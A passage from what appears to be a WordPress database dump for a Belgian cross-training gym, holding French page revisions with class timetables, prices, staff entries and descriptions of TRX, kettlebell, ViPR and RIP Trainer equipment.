5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 13:16:35', '2013-06-23 13:16:35', '', 11, 'http://www.crosstrainingcenter.be/?p=146', 0, 'revision', '', 0),
(147, 1, '2013-06-23 13:18:02', '2013-06-23 13:18:02', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table caption=\&quot;Just test table\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]	\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 13:18:02', '2013-06-23 13:18:02', '', 11, 'http://www.crosstrainingcenter.be/?p=147', 0, 'revision', '', 0),
(148, 1, '2013-07-03 13:56:11', '2013-07-03 13:56:11', '', 'Julie Pierrard', '', 'publish', 'closed', 'closed', '', '148', '', '', '2013-07-03 14:13:21', '2013-07-03 14:13:21', '', 0, 'http://www.crosstrainingcenter.be/?post_type=collaborateur&amp;#038;p=148', 0, 'collaborateur', '', 0),
(150, 1, '2013-07-03 13:59:47', '2013-07-03 13:59:47', '', 'Mathieu Gille', '', 'publish', 'closed', 'closed', '', '150', '', '', '2013-07-03 14:13:07', '2013-07-03 14:13:07', '', 0, 'http://www.crosstrainingcenter.be/?post_type=collaborateur&amp;#038;p=150', 0, 'collaborateur', '', 0),
(330, 1, '2013-07-10 16:10:46', '2013-07-10 16:10:46', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-10 16:10:46', '2013-07-10 16:10:46', '', 22, 'http://www.crosstrainingcenter.be/22-revision-30/', 0, 'revision', '', 0),
(154, 1, '2013-06-23 14:07:38', '2013-06-23 14:07:38', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table caption=\&quot;Just test table\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]	\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style:dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 